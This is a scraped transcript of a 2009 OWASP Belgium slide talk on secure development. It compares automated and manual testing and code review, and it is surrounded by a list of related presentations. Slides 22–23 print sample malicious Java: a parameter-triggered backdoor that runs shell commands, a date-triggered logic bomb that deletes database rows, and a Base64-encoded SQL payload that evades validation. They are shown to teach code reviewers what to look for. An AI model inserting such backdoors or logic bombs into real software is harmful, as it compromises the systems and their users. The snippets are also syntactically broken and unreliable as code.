Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.

Slides:



Advertisements
Similar presentations
OWASP Secure Coding Practices Quick Reference Guide
Advertisements

Infosec 2012 | 25/4/12 Application Performance Monitoring Ofer MAOR CTO Infosec 2012.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Principles of Computer Security: CompTIA Security + ® and Beyond, Third Edition © 2012 Principles of Computer Security: CompTIA Security+ ® and Beyond,
WebGoat & WebScarab “What is computer security for $1000 Alex?”
The OWASP Foundation How Do I Approach Application Security? San Francisco 2014.
Application Security: What Does it Take to Build and Test a “Trusted” App? John Dickson, CISSP Denim Group.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
The OWASP Foundation Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
Web Application Security
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
Introduction to Application Penetration Testing
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Malicious Code Brian E. Brzezicki. Malicious Code (from Chapter 13 and 11)
Approaches to Application Security – DSM
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
CS 325: Software Engineering April 14, 2015 Software Security Security Requirements Software Security in the Life Cycle.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Security Trifecta – Overview of Vulnerabilities in the Racing Industry Gus Fritschie December 11, 2013.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
OWASP Top Ten #1 Unvalidated Input. Agenda What is the OWASP Top 10? Where can I find it? What is Unvalidated Input? What environments are effected? How.
 Chapter 14 – Security Engineering 1 Chapter 12 Dependability and Security Specification 1.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Beyond negative security Signatures are not always enough Or Katz Trustwave ot.com/
This presentation contains copyrighted information belonging to Dr. Lesia L. Crumpton-Young All Rights Reserved. No part of this presentation may be reproduced,
CSCE 522 Secure Software Development Best Practices.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Applications Testing By Jamie Rougvie Supported by.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
PwC New Technologies New Risks. PricewaterhouseCoopers Technology and Security Evolution Mainframe Technology –Single host –Limited Trusted users Security.
Lesson 19-E-Commerce Security Needs. Overview Understand e-commerce services. Understand the importance of availability. Implement client-side security.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike.
Copyright © The OWASP Foundation This work is available under the Creative Commons SA 2.5 license The OWASP Foundation OWASP Denver February 2012.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Role Of Network IDS in Network Perimeter Defense.
Web Applications on the battlefield Alain Abou Tass.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
CSCE 548 Secure Software Development Risk-Based Security Testing
Chapter 7: Identifying Advanced Attacks
Security Testing Methods
World Wide Web policy.
Theodore Lawson CSCE548 Student Presentation, Topic #2
Finding and Fighting the Causes of Insecure Applications
^ About the.
OWASP Application Security Verification Standard 2009
Eoin Keary Code review Lead Irish Chapter Lead
Security at the Source.
Finding and Fighting the Causes of Insecure Applications
OWASP Application Security Verification Standard
OWASP Application Security Verification Standard
OWASP Application Security Verification Standard
Presentation transcript:

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP Belgium Secure development (for a secure planet) Eoin Keary OWASP Board member Senior Manager, Ernst & Young

OWASP Belgium 2009 ME Leader within OWASP since 2002 OWASP Testing Guide V2 OWASP Code Review Guide OWASP Irish chapter founder OWASP Global Industry Leader A&P Senior Manager: Ernst & Young Application Developer & Application Security: 12 Years

OWASP Belgium 2009 The ISSUE…  More and More application level issues……  Sept/Oct 2008 – SQL Injection $9,000,000 in 24 Hours (RBS)  Business Logic Exploited in US Army Servers – May, 2009  HSBC and Barclays sites were both hit by major XSS vulnerabilities - June 2009  The Telegraph site was exposed by a severe SQL injection vulnerability - June “In the last five years, approximately 500 million records containing personal identifying information of United States residents stored in government and corporate databases was either lost or stolen.” - “

OWASP Belgium 2009 Things are not improving  Eg: XSS was discovered circa 1996  Initially is was a curiosity  Evolved to an exploit  Further evolution to a worm  MySPACE- SAMMY WORM 2005, first self propagating xss worm  Wide scale problem, 13 years later!  Toolkits: Mpack, LuckySploit, ISR-Evilgrade etc  Attacking the client: Phisihing, Malware Upload  Ironically easy to fix and detect but 60%-70% of sites are vulnerable.. 4

OWASP Belgium 2009 What’s in your code?  Application Code is like sausages: 5 SausageCode “Taste nice”Apps Look Nice FillingFulfil requirement We don’t want to know what's in them, or how they are made!!!! Same with code!!!!! Currently software QA (Unit, System, Integration, UAT) tests what software can do, not what we can make it do!!!!

OWASP Belgium 2009 Where is your Application Perimeter?  Border Router?  WAF/Firewall?  Public facing – Authentication Page  Software food chain?  Lets look at this for a sec:  Where does your code come from? Who wrote it? How do I know its secure / developed in a secure manner? 6

OWASP Belgium 2009 Software food chain 7 Application Code COTS (Commercial off the shelf Outsourced development Sub- Contractors Bespoke outsourced development Bespoke Internal development Third Party API’s Third Party Components & Systems Degrees of trust You may not let some of the people who have developed your code into your offices!! More Less

OWASP Belgium 2009 How do we (attempt) to fix this problem?  Secure Software development  Application Security Testing (Manual, Automated)  Code review (Automated, Manual) 8 CHALLENGES FACING HUMANITY Make solar energy affordable Provide energy from fusion Develop carbon sequestration Manage the nitrogen cycle Provide access to clean water Reverse engineer the brain Prevent nuclear terror Secure cyberspace Enhance virtual reality Improve urban infrastructure Advance health informatics Engineer better medicines Advance personalised learning Explore natural frontiers

OWASP Belgium 2009 Solutions 9

OWASP Belgium Philosophy of Secure Development  Write code properly!!  Adhere to business requirements and no more!!  "Is it a business requirement that I can access other users data?”  Negative use case/testing  Lets forget XSS, SQLI CSRF for a minute.  There are easier ways to commit fraud than this:  Breaking business Logic  Breaking authorisation logic  Breaking arithmetic logic  They require less technical skill but can be very powerful and automated tools do not detect such issues. Design Goals: Security at source Self-defending/aware applications Fulfill business requirements and nothing more.

OWASP Belgium Philosophy of Secure Development  Security Touch-Points  Catch issues before they go live  Overall Improvement in quality: Stability, Reliability, Security Probably the cheapest solution in the long term: Lower TCO & risk of compromise, overall better quality

OWASP Belgium Application Security Verification Techniques (360°) – Check out the OWASP ASVS Find Vulnerabilities Using the Running Application (Outside-In) Find Vulnerabilities Using the Source Code (Inside-Out) Automated Application Vulnerability Scanning Automated Static Code Analysis Manual Application Penetration Testing Manual Security Code Review

OWASP Belgium 2009 Runtime Testing  Automated ( “Wide but not Deep” )  Good:  Detecting technical vulnerabilities: –XSS, SSI, SQLI, Buffer Overflows  Produce good coverage in a limited time (if lucky!)  Cost effectiveness  Bad:  Does not detect business logic issues very well  False sense of security  False Positives & (worse) False Negatives  Can Fail with complex flows or rich client apps (Web 2.0)  Non Standard environments, Can be fooled.  Business impact identification. 13

OWASP Belgium 2009 Runtime Testing 14  Manual ( “Deep but less wide” )  Good:  Detecting technical vulnerabilities: –XSS, SSI, SQLI, Buffer Overflows……  Contextual aspects, critical business focus  Detecting business logic issues  More Accurate  Allows for creativity to identify non standard variants (E.g. “Persisted XSS”)  Bad:  Time limited coverage, variant coverage (attack vectors)  Tester skill dependant ( think about OWASP ASVS )  Can be expensive

OWASP Belgium 2009 Lets look at Code review 15

OWASP Belgium 2009 Code Review (Static Analysis)  Automated  Good:  Generally good (no crawling setbacks)  High accuracy in identifying code violations (not necessarily security violations)  Fast and more cost effective  Bad:  Logical Vulnerabilities  Runtime binding/relationships not apparent  Issues are signature based, may not detect many variants  External compensating controls not apparent.  High rate of false positives  Problematic when not all code available 16

OWASP Belgium 2009 Code Review  Manual  Good:  Generally good with technical vulnerabilities  Somewhat limited but better with logical vulnerabilities  Potentially excellent if performed properly, –Can detect Denial of Service, Privacy & Audit issues –Can detect potential backdoors, root-kits & malware  Bad:  Slow and relatively expensive. (Critical apps only?!)  Poorly written code (think sausage) can be difficult to review 17

OWASP Belgium 2009 Code review  Key weakness with Automated Code review:  Authorisation logic  Insecure code: No authorisation code = No code [to review]  No code = tool has no issue to report  No issue to report = secure code!! [clean report]  Horizontal Authorisation (User Authorisation) –A user can not view, manipulate or deny access another user’s [of the same role] data.  Vertical Authorisation ( Role Authorisation) –A user can not perform any action outside their role. 18

OWASP Belgium 2009 Code review  Business Logic:  Transactions: –Any transactional function which does not require re- authentication is potentially vulnerable to CSRF –Requires a workflow decision: Tools don’t understand business workflow  Mathematical controls: –Negative values –Limits –Conversion rates.  Data Transfer –Funds transfer: source and destination accounts –Data size 19  Key weakness with Automated Code review:

OWASP Belgium  Password Complexity:  Unless complexity logic is hard coded; –RegEx stored in configuration file –Runtime binding to file –Static analysis tools wont see this Code review  Key weakness with Automated Code review:

OWASP Belgium Tools – At Best 45%!  MITRE (US Gov research foundation) found that all application security tool vendors’ claims put together cover only 45% of the known vulnerability types (695)  They found very little overlap between tools, so to get 45% you need them all (assuming their claims are true)

OWASP Belgium 2009 Finally….Malware and Rootkits…Tools just don’t cut it  Tools would find it difficult to detect such things:  Logic Bombs  Backdoors if ( request.getParameter( "backdoor" ).equals( "C4A938B6FE01E" ) ) { Runtime.getRuntime().exec( req.getParameter( "cmd" ) ); } To a static scan this is normal code (forgetting Input validation etc) For Runtime testing to detect this the correct parameter (backdoor) and value would be required to be used. For more on Java Enterprise Malware/Rootkits see: Jeff Williams: 22 Malicious HTTP Parameter Command shell

OWASP Belgium 2009 if ( System.currentTimeMillis() > ) // March (St Patricks Day) new Thread( new Runnable() { public void run() { Random sr = new SecureRandom(); while( true ) { String query = "DELETE " + sr.nextInt() + " FROM data"; try { c.createStatement().executeQuery( query ); Thread.sleep( sr.nextInt() ); } catch (Exception e) {}} }}).start(); Base64 Encoding to bypass input validation: String req = request.getParameter(‘a’); if(validate(req){ // Usual input validation String x = new String(new sum.misc.BASE64Decoder().decodeBuffer(x); if (x.contains(BASE64.toASCII(“VXN1cnBfRGVsZXRlICogZnJvbSB1c2VycyB3aGVyZSB1c2VyX25hbWUgPSAiYWRt aW4nDQo=”, “usurp”) { System.RunDBquery(x. BASE64.toASCII); // execute the malicious SQL query ……………………. 23 Logic Bomb : Time for bomb to set-off When This code detects the date is 17/3/2010 it executes a database data corruption routine. This has no signature a tool can “detect” and probably fool manual reviewers too…. Usurp_Delete * from users where user_name = "admin'

OWASP Belgium 2009 Solution: No single answer  Both Runtime testing and Static Analysis have their strengths and weaknesses. – we probably need to use both.  No Silver bullet  Simple authorisation and business logic verification is often overlooked.  Most effective approach is to attempt to build secure code during the SDLC 24

Questions Questions